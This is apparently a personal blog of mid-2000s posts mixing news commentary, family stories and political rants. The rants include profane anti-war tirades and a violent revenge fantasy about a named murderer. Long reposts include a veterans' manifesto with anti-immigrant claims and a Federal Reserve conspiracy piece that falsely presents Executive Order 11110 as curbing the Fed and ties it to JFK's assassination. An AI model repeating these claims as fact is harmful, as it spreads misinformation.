Runaway Bride

They "found" Jennifer Wilbanks today, safe but tired in New Mexico. Turns out she had a case of "cold feet" I am happy that Jen is alive, and laughing at some of the vulture news outlets who compared her missing as another "Lacy Peterson". She initially told through a 911 call that She had been abducted. So who is mad about this? The news media made this a national story, only for the fact that she had 600 people attending her wedding today, was from a well to do family, and was White. Many people go missing, such as the law man from Bucks County, or the couple from Philly. How come no hoopla? Not a peep from CNN, or MSNBC or any other major media outlet. As I type this, I am listening to FAUX News. (Wife watching it, I do not) and already they are discussing possible crimminal charges against her for lying. Boy, oh boy, just keep the wheels going! White + Female + Missing = Big news coverage for the tabloid news. Anything else is unworthy of coverage. What a shame.

The Whale Is Back

There is this whale who was in the Delaware river a week or two ago. It was last seen heading toward the Delaware Bay and everyone involved breathed a sigh of relief. Just a few moments ago I hear that it was spotted in the Schuylkill River! Why cant they just shoot this whale with a knock out agent, then air lift his ass to the Atlantic? It can be done! Just watch out for his buddy..

Editorial: Santorum rains on free-market parade

In the good old days, Republicans used to want taxpayers to get more for their money.They also used to be in favor of capitalism and the free-market system. That was then. Now, meet U.S. Sen. Rick Santorum, R-Pa. The Pittsburgh-area lawmaker - known best for his stances against abortion and "man-on-dog" sex - is flexing his muscles and reaching for the stars. Specifically, he’s introduced legislation that would restrict the kind of information the National Weather Service would collect and how it can be disseminated. Santorum would forbid the weather service from providing certain kinds of weather information if it can be obtained from the private sector. To put it simply, he would force people to buy a product from a business that they’ve already paid for through their tax dollars. Now why would the Number Three Republican in the U.S. Senate bother with such a mundane matter? The way he tells it, it’s all about protecting Pennsylvania jobs - the jobs at 14 private weather-service companies in the state, including AccuWeather in State College. They shouldn’t have to compete with the government, Santorum contends. And until a rule that restricted the activities of the federal weather service expired last year, they didn’t have to, either. Santorum’s critics - and they are legion - see it another way. They point to the $5,800 AccuWeather’s employees have donated to Santorum’s campaign coffers since 1999 and wonder whether that has anything to do with his celestial concerns. Some, including U.S. Sen. Bill Nelson, D-Fla., say the measure could endanger those in the paths of hurricanes and other severe weather who may not be able to get the best and most complete forecasts available. Nelson spokesman Dan McLaughlin fears the precedent of shutting down government services just because the private sector also offers them. He may have a point. Would guardians of public morality like Sen. Santorum put themselves out of a job because private religions already exist to divine God’s will? More seriously, the U.S. Senate has no business censoring government agencies that exist to protect the lives and property of American citizens.If private businesses can’t compete, maybe they need to improve their services - or deservedly go out of business. In any event, the taxpayers shouldn’t get soaked to protect the hides of a few of Rick Santorum’s best friends. This is one proposal that is all wet.

Today is take your kids to work day

Ok. I am taking both of my Sons to work today. They will be observing me do some telephone wiring. Laws in the state of Pennsylvania forbid your children from doing actual work unless you have workmans compensation on them and working papers. I am not making this up. Also, your employer can refuse you from even entering your workplace with your kids. Nowhere can I find any legal stuff at the linked site I put up concerning these laws. So be forwarned. How many of you took your kids to work today? What did they do?

Now This Really Moves Me

To my fellow Veterans, and to all Americans. From Bones 'Morning Coffee" There comes a time in each generation, where men of valor and courage are forced to stand up for what they know to be right, and true, and just. Such a time is now upon this generation. It is a time where division and strife among us will surely lead to our own certain destruction. It is now, once again, a period in our history when individual self-interest, and personal ambition, must take a back seat for a time. This time is today. Veterans, you have polarized yourselves; not along political party lines, but along ideologies concerning which among you is more deserving…or less deserving…of compensation from the government. It is now time to forgo such selfish considerations. There are peoples, groups, and organizations, that even now seek to destroy all that you have sacrificed so dearly for. Freedom is no longer freedom. Liberty is taken as license. Personal responsibility is a concept that is no longer considered. Individuals in America even now use the law in order to make other Americans responsible for what they, themselves, have said and done. The courage of a man’s convictions is long gone from use in public debate. All that matters among today’s Americans seems to be thoughtless, and self-destructive, ad hominem attacks upon one another. Logic, critical thinking, common courtesy, and mutual respect, have become the lost arts of our civilization. Such things are now missing from among us as a people. Ethics has been forsaken, and morality is the subject of punch lines. Honor is a curiosity. Courage has been exchanged for fear. The founding religion of this nation has been legally forced to the fringes, and Islam, Buddhism, Wicca’s, and other pagan religions, are set above it, by law. The American government controls more and more of what a man may say, as well as what he might do. Dreams and plans for his future, the future of his children, and of his grandchildren, are predicated upon what the government will or won’t do to disrupt those dreams. Politicians, local, state, and federal governments, cause division among you by what they offer to one Veteran, or group of Veterans, over the real and perceived needs, wants, and mere desires of another. Additionally, there are many among you who desire nothing else but more of the government’s income, thereby allowing more of its influence over your own lives, as well as over the lives of your children, your wives, and your husbands, merely for the price of a few more dollars from government coffers. In such a way have you allowed the government to divide and conquer you, so that you are without real, unified, and present voice among the people of this once mighty nation. These things must end. Such behavior does not become you. It denies the real and ready sacrifice that you have made for yourself, your families, and for all Americans. For the cause of freedom’s sake in America, it is time to stand up, and to be men and women of valor, honor, and integrity, once again. This nation needs you now as it has never needed you more. This nation needs you standing together, united, and speaking as one voice, for one America. With your combined skills, leadership, and management abilities; with your knowledge and experience; with your honor, courage, and commitment; with the professionalism and dedication of purpose that only Veterans can call upon; it is left to you, once again, to correct this nation’s course through history. Foreign nations buy influence in our legislatures that is guaranteed only to American citizens through legal elections. The government beggars its citizens through high taxes and unjust laws, as well as through the unjust and inequitable application of its laws. The government borrows what it cannot hope to repay, and has no intention of repaying. Meanwhile, it punishes its citizens for merely doing business and earning a living. No one in government leads by example. None in government are among the last to eat, nor are they among the first to lead. Their only sacrifice is for personal gain. The government presently borrows money that it cannot repay, in order to give that same money as an offering to other nations, in order to secure their co-operation in its drive for power, and for survival among the nations. Our treaties with other nations have continually entangled us in their internal problems, to our own detriment. Foreign nations curse us if we help them, and the same nations curse us again when we do not. America is presently upon such a course that nations throughout history have followed, each to its own eventual, and certain, destruction. The culture of America has been shattered by our own goodness, and because of our goodness, our unwillingness to defend ourselves from the depredations of many and several nations, who openly and illegally encourage all of their poor, weak, helpless, and criminal, to cross our borders. Those people, used by their own governments in order to purposely endanger our economy, destroy our culture, and further weaken us in many and sundry ways, now claim citizen’s rights among us without having any knowledge of our language, customs, culture, or laws, and without any intention of becoming American citizens. When detained, they often make false claims of torture and mistreatment, and ask for the services of a tax-paid lawyer…and of a reporter. They make a false claim upon our lands, upon our sovereignty, and upon our peace. They claim rights that you have sacrificed your lives, health, families, and careers in order to protect. They claim citizen’s rights in our courts of law. They even now claim the same money from the government that you have claimed for yourselves; this Veteran’s group for one group of Veterans, that Veteran’s group for others. You fight and argue among yourselves for money from the government. You use the government to your own ends, and the illegal alien has only taken his cue from you. You wonder why all of these things happen in America, the country that you’ve fought, bled, and cried for, and the answer is that you are divided among yourselves. This should not be so among you. It is time to be united as men of action once more. Men and women with a single purpose: The restoration of liberty and freedom in America, for Americans. The government ignores The Constitution for its own purposes, and when it is convenient for it to do so. The Judicial Branch takes its cue, not from The Constitution of the United States of America, but from case law in other nations. The government has increased its laws repeatedly, and each time told of how such laws will increase convenience and security, but only Americans are subject to its close examinations and penalties. Americans, old women, and even Veterans and the disabled, are subject to random strip searches, searches of their homes, constitutionally illegal phone taps, and investigations unfounded by any evidence. In such cases, most Americans are often without the benefit of legal representation, or of any recourse for redress of grievances. The government itself violates the very Constitution that you took an Oath to defend and to protect. Your contract ended, and while you may no longer be subject to the orders of superior officers, the rest of the Oath still stands. It is still valid, for it is an Oath that was taken before both man and God. Are you an Oath breaker? What will you do, this day, to defend your rights, your freedoms, your liberties, your honor, your country, and your Constitution? Will you speak with one voice? …or will you continue to be divided over mere pieces of paper, and which among you receives how many of those pieces of paper from the government? A government that only seeks to keep you divided, that it might be free to do as it wishes with your freedom, and the freedoms, liberties, prosperity, and happiness, of your children and your grandchildren. This day, this very day, you have a choice to make. What will you do with that choice? Will you stand, merely for what you can get when you can get it? Or will you stand, and speak out, as men of action, and men of valor, and men of freedom and principle, for freedom’s sake? It is your decision to make. No one else can make it for you. No one else can save this nation from itself but you. Each and every one of you bears responsibility for the tomorrows that this nation will have. Whether those tomorrows are good or ill, it is now your choice and your responsibility. It is time for this generation of free men and women to make themselves known. How will history judge you? As men who seek only your own desires? Or will you be known as being among the greatest of the Patriots of our nation’s great history? I know that as Veterans, unified as one voice that you can return this nation to its course, a course that is destined for glory. A glory that is predicated upon individual freedom, and personal liberty. May you be true Patriots, and may you decide once again to stand in the breech, brother next to brother…as one. As Americans standing together, for America. Warren "Bones" Bonesteel "Morning Coffee" Author and columnist P.O. Box 1413 Rapid City, SD 57701 (605) 388-3005 wrbones@rap.midco.net How about you?

Why You Shouldn't Post Your Picture Online

Now this is too funny.

Observations At Night

As I sit here listening to the television in the other room I just cannot fathom what the fuck is going on in this world anymore. My wife is watching some show about Jessica Lunsford, the young girl who was raped and brutally murdered by John Couey, a piece of shit that if you could give me just 24 hours with him and my electrical skills, would wish he was never born.What I would do to him I will not divulge. I often wonder what goes through these peoples mind as they live day to day. Changing gears, I see the Senate approved yet another 81 BILLION dollars for the war efforts in Iraq and Afghanistan. Just why are we still there? Fuck these people! They DO NOT want us there and I am dam sure that most of the military personnel over there don't want to be there either. They want to come HOME. Home to the United States of America, a country that once was revered by the rest of the world. What is more important to you, the American citizen? The Iraqi people and their freedom? Or dealing with your problems. The skyrocketing prices of gasoline, food, utilities, insurance (Not to mention HEALTHCARE, in which I believing a bill for $770.00 every month that is getting harder and harder to afford.) I know that some of you who may read this will side with the Government, believing that they know what's best. BULLSHIT! I only have a H.S. Diploma and I could straighten out this country in 1 year. You read it right, one year. 1. Quit meddling in other countries affairs , in the guise of "freedom". 2. Dump the Federal Reserve Bank. 3. Ban "Outsourcing", and keep jobs in America , by Americans. 4. Ban lobbyist, and any corporate donations to politicians. 5. Close our borders completely. 6. Get big business out of the government. 7. Abandon the Patriot act, and start looking for the real terrorists. 8. Ban ANY official from holding office if they hold dual citizenship. 9. Tax the hell out of the oil companies, to pay for the mess that they started. 10. Give new credence to the saying: "Your either with US or against US". We (Americans) are good people, who are being fucked over by a few who don't give a rats ass about me or you, or any other person. Just themselves. Who's the real enemy here?

Blog Shares?

I found this on my referrer logs. I never thought that Blogs could be so valuable. The sad part is that only one incoming link from JRH and his Blog Upon Further Review gives me any value. (Thanks JRH!) Still in all I do not want to be a blog whore. I created this blog so I could interact with others in a safe medium. I do not have many friends, believe it or not. Most of my in person friends are women. I have several "Blogs", notably my old Live Journal one. Back then, I was involved in the cam girl world, and I loved to piss people off. (See Troll).. Screw it. Feel free to read my posts, and hell, maybe I'll reply to them. Note: My PhillyDad Journal is not one for any self righteous politically correct stuffy assholes to read. What you read is what you get.

Alison Martinelli - Too Young & Innocent to Die



I received a telephone call from my daughter Natalie last Friday morning. She was calling from her cell phone from Jean Madeline Aveda Institute, where she goes to school learning to be a Hair Stylist, etc. She asked me to pick her up, explaining that she was not feeling well. I told her ok, and promptly left the Home Depot in Clifton Heights and my basket full of electrical stuff. I then fought the traffic on 291 and then in South Philly to reach her. She got into the bucket truck that I was driving and told me about her friend and classmate Alison Martinelli from Drexel Hill who was killed in a car accident a few weeks ago. She was in tears and freaked out about it. I tried to console her to no avail.




I had read about it in the Daily Times shortly after it happened and felt sick myself that such a young woman could meet a tragic death because of being served booze at a place that she worked at. I never knew beforehand that my daughter even knew her, let alone was friends with Alison and due to graduate this July. My daughter heard rumors and so did I that Alison's Dad warned the staff at the Bryan Street Pub where She worked NOT to serve her booze several times before. 19 years old, for Christ sakes! The same age as my daughter. God I sit here with my gut torn out, feeling badly for her Parents. I feel horrible for Alison's Mom and Dad, and her family, Boyfriend, and many, many friends. I also feel angry toward who ever served her the booze. No wonder that the owners of the Bryan Street Pub were asked to NOT attend the funeral services. But this all is rumored mind you. I also read that she did NOT drink at Bryan Street. I do not know the facts, but I do know that because of SOMEONE serving or buying this woman booze, She is DEAD. Does this bother you?




To most of you who read this, probably not. Well it bothers me! I am taking Natalie up to where the crash happened to lay flowers there at Her request. Maybe She can find solace for the loss of her friend where she was too upset to attend Alison's viewing & funeral. So what happens next? Criminal charges? Civil charges? All will NOT bring back this gifted, beautiful young woman. It just makes my blood boil on another senseless death. People need to be held accountable here! I am no angel myself. I got in some trouble of my own in the past. A bad time in my life, I'll explain it some other time. (There is no reason though to drive drunk mind you).




Thank God I never hurt anyone but myself. What gets me is that the current BAC to get a legal consumer of alcohol in trouble in the state of Pennsylvania is 0.8. In most fatal DWI related automobile crashes the average BAC is over point 14. MADD, or Mothers Against Drunk Drivers want ZERO BAC while driving. To me this is non attainable, short of banning booze altogether. I have an idea. What needs to be done is to hold the bars and clubs in Delaware county accountable, both criminally & civilly. There should be a license for bartending in the state that INCLUDES being aware of customers who should not be allowed to drive a motor vehicle due to excessive consumption. Check your keys at the bar, just like checking your guns in Carson City, years ago. Maybe I am grasping at straws, but this hits really close to home, so I chose to post about it. In closing: To Alison's parents and family, I am at a loss of words for you. I can only imagine your pain. I am sorry for your loss and have and will pray for you and your Daughter.

Opening Day

Well it's opening day for trout in Pennsylvania. Locally, (Darby Creek) they have stocked over 13,000 Brown and Rainbow trout. No Brook trout though. So what happens to these fish? Are they all caught? Or do they swim on out to the Delaware River? I don't know but I am thinking of going up to Gordons Gun Shop and buying a license with a trout stamp, then casting out. I used to go fishing all the time when I was younger, then, as our sons were old enough, brought them. Now I can appreciate what I put my father through years ago. Goofing off, talking too much, tangling up my lines with other anglers, etc.. My older son just went out about 2 hours ago with his buddies. I'll think I will join them.

Why Bolton will be good for the UN

I agree with Ollie. Mr.Bolton will not let the UN get away with what it has been doing over the last 10 years. They should have been forced to help us out in Iraq.(Even though I think the war is a sham, we need some help here).Do you want your kids drafted? Think about it. MISUNDERESTIMATION, by Oliver North Dear John, Congratulations on the new gig as the president's top dog (Rottweiler?) at the United Nations. Given the way the liberals have reacted to your appointment, your confirmation hearings are likely to generate more adrenalin than a gunfight in Fallujah. The thought of you representing us at the United Nations is driving the Bush-bashing, French-kissing, Blame-America-First crowd that savaged Condi Rice and Alberto Gonzales into a frenzy. John "Sore Loser" Kerry described your nomination as "just about the most inexplicable appointment the president could make." Your appointment confirms their worst fears: They have "misunderestimated" President Bush again. He doesn't just want to change the Middle East -- he intends to change the world! You've had plenty of practice dealing with hostile solons, but permit me to offer some friendly advice based on personal experience sitting at that cloth-covered table: -- First, recognize that the Senate Libs really do hate your guts. They will tell you off-camera that "there is nothing personal" in what they are saying during the "hearing." Don't believe them. You are the only one in the room who has to tell the truth, the whole truth and nothing but the truth. To paraphrase Col. Jessup, "They can't handle the truth," but don't let that stop you. If you just tell the truth, Teddy Kennedy's head may finally explode. -- Second, remember, you know a lot more about the important issues than they do. The senators grilling you will be reading questions written for them by staffers who think themselves the smartest people on earth. Based on your expertise as the under secretary of state for arms control and international security, you are the world's expert on the dangerously inept International Atomic Energy Agency. You know far better than anyone on "the Hill" that this so-called U.N. "watchdog" is really a Chihuahua -- headed by Keystone Cop Mohammad ElBaradei, who apparently won't rest until every criminal regime on earth has the bomb. -- Third, it's the sex thing, John. If you want to see the Libs on the raised dais squirm, bring up the sexual malfeasance that infects every level of the United Nations. Remind them that Ruud Lubbers had to resign as high commissioner for refugees under a cloud of stink not seen since the Clinton White House. Tell 'em about the so-called U.N. "peacekeepers" in Congo who rape women and girls as young as seven and the U.N. general who molested his translator -- a young boy. And then ask the potentates of pork why these blue bonnets who leave destitute refugees with a slew of fatherless children and new diseases should be immune to prosecution. -- Fourth, call 'em as you see 'em, John. The bloated bigwigs attacking you aren't used to plain English. Like the striped-pants-set at the United Nations, the senators who are giving you a hard time are masters at obfuscation -- like calling a tax increase "revenue enhancement." When they try this, remind them about Rwanda, where the United Nations failed to act and 800,000 perished, or Kosovo, where the tortured remains exhumed from mass graves scream for justice. And then tell the good senators who purport to care about "human rights" that while they delay your appointment, the United Nations has "looked into" the situation in Sudan and found that while "crimes against humanity" have occurred, there's no evidence of a "policy of genocide." Tell your inquisitors who bought Bill Clinton's definition of the word is, that when you get to the United Nations, you will call genocide what it is: genocide. -- Fifth, Kofi's corruption. Lots of the guys who don't want you at the United Nations love to be seen on the cocktail circuit with their pal Kofi Annan. Tell Kofi's cronies that their buddy presided over the "Oil-for-Food" scandal -- where billions of dollars to feed Iraqis were instead spent by Saddam to build palaces, purchase weapons and buy-off foreign leaders to keep the big, bad United States at bay. They will point out that Paul Volcker has already nailed Kofi's chum, Benon Sevan -- the 30-year-U.N.veteran who headed up the Oil for Food program. Remind them that Kofi's son, Kojo, is implicated, as well. Kofi swears he "didn't know anything" about it all. That argument didn't work for Martha Stewart or the folks running Enron. It shouldn't work for Kofi. -- Sixth, "Eurocrats" in our Senate will want to know your views on giving Germany a permanent seat -- and a "veto" -- on the Security Council. Counter by suggesting that since "Old Europe" is so fond of a single currency and talking about pulling out of NATO to build their own "EU Intervention Force," a better option would be to give the French "seat" on the Security Council to the EU -- and require their ambassador to speak in Flemish. -- Finally, remember that the guys trying to peel your hide are "tax and spend" experts. Ask 'em how the United Nations' madcap idea of taxing American citizens under its so-called "Millennium Development Goals" will go down with their constituents. For good measure, tell your well-dressed interrogators that when you get to the United Nations, you will do something about that unnatural shade of blue U.N. troops wear on deployments. It sticks out like a pink feather boa and screams "put crosshairs here." John, I haven't been this excited about a U.N. ambassador since the heady days of Jeanne Kirkpatrick. Keep your cool in the hearings. Save your best for New York. It should be a fun ride.

The Federal Reserve - Corrupt Bastards?

Read this: and Read it again. On June 4, 1963, a virtually unknown Presidential decree, Executive Order 11110, was signed with the authority to basically strip the Federal Reserve Bank of its power to loan money to the United States Federal Government at interest. With the stroke of a pen, President Kennedy declared that the privately owned Federal Reserve Bank would soon be out of business. The Christian Law Fellowship has exhaustively researched this matter through the Federal Register and Library of Congress. We can now safely conclude that this Executive Order has never been repealed, amended, or superceded by any subsequent Executive Order. In simple terms, it is still valid. When President John Fitzgerald Kennedy - the author of Profiles in Courage -signed this Order, it returned to the federal government, specifically the Treasury Department, the Constitutional power to create and issue currency -money - without going through the privately owned Federal Reserve Bank. President Kennedy's Executive Order 11110 [the full text is displayed further below] gave the Treasury Department the explicit authority: "to issue silver certificates against any silver bullion, silver, or standard silver dollars in the Treasury." This means that for every ounce of silver in the U.S. Treasury's vault, the government could introduce new money into circulation based on the silver bullion physically held there. As a result, more than $4 billion in United States Notes were brought into circulation in $2 and $5 denominations. $10 and $20 United States Notes were never circulated but were being printed by the Treasury Department when Kennedy was assassinated. It appears obvious that President Kennedy knew the Federal Reserve Notes being used as the purported legal currency were contrary to the Constitution of the United States of America. "United States Notes" were issued as an interest-free and debt-free currency backed by silver reserves in the U.S. Treasury. We compared a "Federal Reserve Note" issued from the private central bank of the United States (the Federal Reserve Bank a/k/a Federal Reserve System), with a "United States Note" from the U.S. Treasury issued by President Kennedy's Executive Order. They almost look alike, except one says "Federal Reserve Note" on the top while the other says "United States Note". Also, the Federal Reserve Note has a green seal and serial number while the United States Note has a red seal and serial number. President Kennedy was assassinated on November 22, 1963 and the United States Notes he had issued were immediately taken out of circulation. Federal Reserve Notes continued to serve as the legal currency of the nation. According to the United States Secret Service, 99% of all U.S. paper "currency" circulating in 1999 are Federal Reserve Notes. Kennedy knew that if the silver-backed United States Notes were widely circulated, they would have eliminated the demand for Federal Reserve Notes. This is a very simple matter of economics. The USN was backed by silver and the FRN was not backed by anything of intrinsic value. Executive Order 11110 should have prevented the national debt from reaching its current level (virtually all of the nearly $9 trillion in federal debt has been created since 1963) if LBJ or any subsequent President were to enforce it. It would have almost immediately given the U.S. Government the ability to repay its debt without going to the private Federal Reserve Banks and being charged interest to create new "money". Executive Order 11110 gave the U.S.A. the ability to, once again, create its own money backed by silver and realm value worth something. Again, according to our own research, just five months after Kennedy was assassinated, no more of the Series 1958 "Silver Certificates" were issued either, and they were subsequently removed from circulation. Perhaps the assassination of JFK was a warning to all future presidents not to interfere with the private Federal Reserve's control over the creation of money. It seems very apparent that President Kennedy challenged the "powers that exist behind U.S. and world finance". With true patriotic courage, JFK boldly faced the two most successful vehicles that have ever been used to drive up debt: 1) war (Viet Nam); and, 2) the creation of money by a privately owned central bank. His efforts to have all U.S. troops out of Vietnam by 1965 combined with Executive Order 11110 would have destroyed the profits and control of the private Federal Reserve Bank. Executive Order 11110 AMENDMENT OF EXECUTIVE ORDER NO. 10289 AS AMENDED, RELATING TO THE PERFORMANCE OF CERTAIN FUNCTIONS AFFECTING THE DEPARTMENT OF THE TREASURY. By virtue of the authority vested in me by section 301 of title 3 of the United States Code, it is ordered as follows: SECTION 1. Executive Order No. 10289 of September 19, 1951, as amended, is hereby further amended - (a) By adding at the end of paragraph 1 thereof the following subparagraph (j): "(j) The authority vested in the President by paragraph (b) of section 43 of the Act of May 12, 1933, as amended (31 U.S.C. 821 (b)), to issue silver certificates against any silver bullion, silver, or standard silver dollars in the Treasury not then held for redemption of any outstanding silver certificates, to prescribe the denominations of such silver certificates, and to coin standard silver dollars and subsidiary silver currency for their redemption," and (b) By revoking subparagraphs (b) and (c) of paragraph 2 thereof. SECTION 2. The amendment made by this Order shall not affect any act done, or any right accruing or accrued or any suit or proceeding had or commenced in any civil or criminal cause prior to the date of this Order but all such liabilities shall continue and may be enforced as if said amendments had not been made. JOHN F. KENNEDY THE WHITE HOUSE, June 4, 1963 Once again, Executive Order 11110 is still valid. According to Title 3, United States Code, Section 301 dated January 26, 1998: Executive Order (EO) 10289 dated Sept. 17, 1951, 16 F.R. 9499, was as amended by: EO 10583, dated December 18, 1954, 19 F.R. 8725; EO 10882 dated July 18, 1960, 25 F.R. 6869; EO 11110 dated June 4, 1963, 28 F.R. 5605; EO 11825 dated December 31, 1974, 40 F.R. 1003; EO 12608 dated September 9, 1987, 52 F.R. 34617 The 1974 and 1987 amendments, added after Kennedy's 1963 amendment, did not change or alter any part of Kennedy's EO 11110. A search of Clinton's 1998 and 1999 EO's and Presidential Directives has also shown no reference to any alterations, suspensions, or changes to EO 11110. The Federal Reserve Bank, a.k.a Federal Reserve System, is a Private Corporation. Black's Law Dictionary defines the "Federal Reserve System" as: "Network of twelve central banks to which most national banks belong and to which state chartered banks may belong. Membership rules require investment of stock and minimum reserves." Privately-owned banks own the stock of the FED. This was explained in more detail in the case of Lewis v. United States, Federal Reporter, 2nd Series, Vol. 680, Pages 1239, 1241 (1982), where the court said: "Each Federal Reserve Bank is a separate corporation owned by commercial banks in its region. The stock-holding commercial banks elect two thirds of each Bank's nine member board of directors". The Federal Reserve Banks are locally controlled by their member banks. Once again, according to Black's Law Dictionary, we find that these privately owned banks actually issue money: "Federal Reserve Act. Law which created Federal Reserve banks which act as agents in maintaining money reserves, issuing money in the form of bank notes, lending money to banks, and supervising banks. Administered by Federal Reserve Board (q.v.)". The privately owned Federal Reserve (FED) banks actually issue (create) the "money" we use. In 1964, the House Committee on Banking and Currency, Subcommittee on Domestic Finance, at the second session of the 88th Congress, put out a study entitled Money Facts which contains a good description of what the FED is: "The Federal Reserve is a total money-making machine. It can issue money or checks. And it never has a problem of making its checks good because it can obtain the $5 and $10 bills necessary to cover its check simply by asking the Treasury Department's Bureau of Engraving to print them". Any one person or any closely knit group who has a lot of money has a lot of power. Now imagine a group of people who have the power to create money. Imagine the power these people would have. This is exactly what the privately owned FED is! No man did more to expose the power of the FED than Louis T. McFadden, who was the Chairman of the House Banking Committee back in the 1930s. In describing the FED, he remarked in the Congressional Record, House pages 1295 and 1296 on June 10, 1932: "Mr. Chairman, we have in this country one of the most corrupt institutions the world has ever known. I refer to the Federal Reserve Board and the Federal reserve banks. The Federal Reserve Board, a Government Board, has cheated the Government of the United States and he people of the United States out of enough money to pay the national debt. The depredations and the iniquities of the Federal Reserve Board and the Federal reserve banks acting together have cost this country enough money to pay the national debt several times over. This evil institution has impoverished and ruined the people of the United States; has bankrupted itself, and has practically bankrupted our Government. It has done this through the maladministration of that law by which the Federal Reserve Board, and through the corrupt practices of the moneyed vultures who control it". Some people think the Federal Reserve Banks are United States Government institutions. They are not Government institutions, departments, or agencies. They are private credit monopolies which prey upon the people of the United States for the benefit of themselves and their foreign customers. Those 12 private credit monopolies were deceitfully placed upon this country by bankers who came here from Europe and who repaid us for our hospitality by undermining our American institutions. The FED basically works like this: The government granted its power to create money to the FED banks. They create money, then loan it back to the government charging interest. The government levies income taxes to pay the interest on the debt. On this point, it's interesting to note that the Federal Reserve Act and the sixteenth amendment, which gave congress the power to collect income taxes, were both passed in 1913. The incredible power of the FED over the economy is universally admitted. Some people, especially in the banking and academic communities, even support it. On the other hand, there are those, such as President John Fitzgerald Kennedy, that have spoken out against it. His efforts were spoken about in Jim Marrs' 1990 book Crossfire:" Another overlooked aspect of Kennedy's attempt to reform American society involves money. Kennedy apparently reasoned that by returning to the constitution, which states that only Congress shall coin and regulate money, the soaring national debt could be reduced by not paying interest to the bankers of the Federal Reserve System, who print paper money then loan it to the government at interest. He moved in this area on June 4, 1963, by signing Executive Order 11110 which called for the issuance of $4,292,893,815 in United States Notes through the U.S. Treasury rather than the traditional Federal Reserve System. That same day, Kennedy signed a bill changing the backing of one and two dollar bills from silver to gold, adding strength to the weakened U.S. currency. Kennedy's comptroller of the currency, James J. Saxon, had been at odds with the powerful Federal Reserve Board for some time, encouraging broader investment and lending powers for banks that were not part of the Federal Reserve system. Saxon also had decided that non-Reserve banks could underwrite state and local general obligation bonds, again weakening the dominant Federal Reserve banks". In a comment made to a Columbia University class on Nov. 12, 1963, Ten days before his assassination, President John Fitzgerald Kennedy allegedly said: "The high office of the President has been used to foment a plot to destroy the American's freedom and before I leave office, I must inform the citizen of this plight." In this matter, John Fitzgerald Kennedy appears to be the subject of his own book... a true Profile of Courage. This research report was compiled for Lawgiver. Org. by Anthony Wayne What is the Federal Reserve Bank? What is the Federal Reserve Bank (FED) and why do we have it? by Greg Hobbs November 1, 1999 The FED is a central bank. Central banks are supposed to implement a country's fiscal policies. They monitor commercial banks to ensure that they maintain sufficient assets, like cash, so as to remain solvent and stable. Central banks also do business, such as currency exchanges and gold transactions, with other central banks. In theory, a central bank should be good for a country, and they might be if it wasn't for the fact that they are not owned or controlled by the government of the country they are serving. Private central banks, including our FED, operate not in the interest of the public good but for profit. There have been three central banks in our nation's history. The first two, while deceptive and fraudulent, pale in comparison to the scope and size of the fraud being perpetrated by our current FED. What they all have in common is an insidious practice known as "fractional banking." Fractional banking or fractional lending is the ability to create money from nothing, lend it to the government or someone else and charge interest to boot. The practice evolved before banks existed. Goldsmiths rented out space in their vaults to individuals and merchants for storage of their gold or silver. The goldsmiths gave these "depositors" a certificate that showed the amount of gold stored. These certificates were then used to conduct business. In time the goldsmiths noticed that the gold in their vaults was rarely withdrawn. Small amounts would move in and out but the large majority never moved. Sensing a profit opportunity, the goldsmiths issued double receipts for the gold, in effect creating money (certificates) from nothing and then lending those certificates (creating debt) to depositors and charging them interest as well. Since the certificates represented more gold than actually existed, the certificates were "fractionally" backed by gold. Eventually some of these vault operations were transformed into banks and the practice of fractional banking continued. Keep that fractional banking concept in mind as we examine our first central bank, the First Bank of the United States (BUS). It was created, after bitter dissent in the Congress, in 1791 and chartered for 20 years. A scam not unlike the current FED, the BUS used its control of the currency to defraud the public and establish a legal form of usury. This bank practiced fractional lending at a 10:1 rate, ten dollars of loans for each dollar they had on deposit. This misuse and abuse of their public charter continued for the entire 20 years of their existence. Public outrage over these abuses was such that the charter was not renewed and the bank ceased to exist in 1811. The war of 1812 left the country in economic chaos, seen by bankers as another opportunity for easy profits. They influenced Congress to charter the second central bank, the Second Bank of the United States (SBUS), in 1816. The SBUS was more expansive than the BUS. The SBUS sold franchises and literally doubled the number of banks in a short period of time. The country began to boom and move westward, which required money. Using fractional lending at the 10:1 rate, the central bank and their franchisees created the debt/money for the expansion. Things boomed for a while, then the banks decided to shut off the debt/money, citing the need to control inflation. This action on the part of the SBUS caused bankruptcies and foreclosures. The banks then took control of the assets that were used as security against the loans. Closely examine how the SBUS engineered this cycle of prosperity and depression. The central bank caused inflation by creating debt/money for loans and credit and making these funds readily available. The economy boomed. Then they used the inflation which they created as an excuse to shut off the loans/credit/money. The resulting shortage of cash caused the economy to falter or slow dramatically and large numbers of business and personal bankruptcies resulted. The central bank then seized the assets used as security for the loans. The wealth created by the borrowers during the boom was then transferred to the central bank during the bust. And you always wondered how the big guys ended up with all the marbles. Now, who do you think is responsible for all of the ups and downs in our economy over the last 85 years? Think about the depression of the late '20s and all through the '30s. The FED could have pumped lots of debt/money into the market to stimulate the economy and get the country back on track, but did they? No; in fact, they restricted the money supply quite severely. We all know the results that occurred from that action, don't we? Why would the FED do this? During that period asset values and stocks were at rock bottom prices. Who do you think was buying everything at 10 cents on the dollar? I believe that it is referred to as consolidating the wealth. How many times have they already done this in the last 85 years? Do you think they will do it again? Just as an aside at this point, look at today's economy. Markets are declining. Why? Because the FED has been very liberal with its debt/credit/money. The market was hyper inflated. Who creates inflation? The FED. How does the FED deal with inflation? They restrict the debt/credit/money. What happens when they do that? The market collapses. Several months back, after certain central banks said they would be selling large quantities of gold, the price of gold fell to a 25-year low of about $260 per ounce. The central banks then bought gold. After buying at the bottom, a group of 15 central banks announced that they would be restricting the amount of gold released into the market for the next five years. The price of gold went up $75.00 per ounce in just a few days. How many hundreds of billions of dollars did the central banks make with those two press releases? Gold is generally considered to be a hedge against more severe economic conditions. Do you think that the private banking families that own the FED are buying or selling equities at this time? (Remember: buy low, sell high.) How much money do you think these FED owners have made since they restricted the money supply at the top of this last current cycle? Alan Greenspan has said publicly on several occasions that he thinks the market is overvalued, or words to that effect. Just a hint that he will raise interest rates (restrict the money supply), and equity markets have a negative reaction. Governments and politicians do not rule central banks, central banks rule governments and politicians. President Andrew Jackson won the presidency in 1828 with the promise to end the national debt and eliminate the SBUS. During his second term President Jackson withdrew all government funds from the bank and on January 8, 1835, paid off the national debt. He is the only president in history to have this distinction. The charter of the SBUS expired in 1836. Without a central bank to manipulate the supply of money, the United States experienced unprecedented growth for 60 or 70 years, and the resulting wealth was too much for bankers to endure. They had to get back into the game. So, in 1910 Senator Nelson Aldrich, then Chairman of the National Monetary Commission, in collusion with representatives of the European central banks, devised a plan to pressure 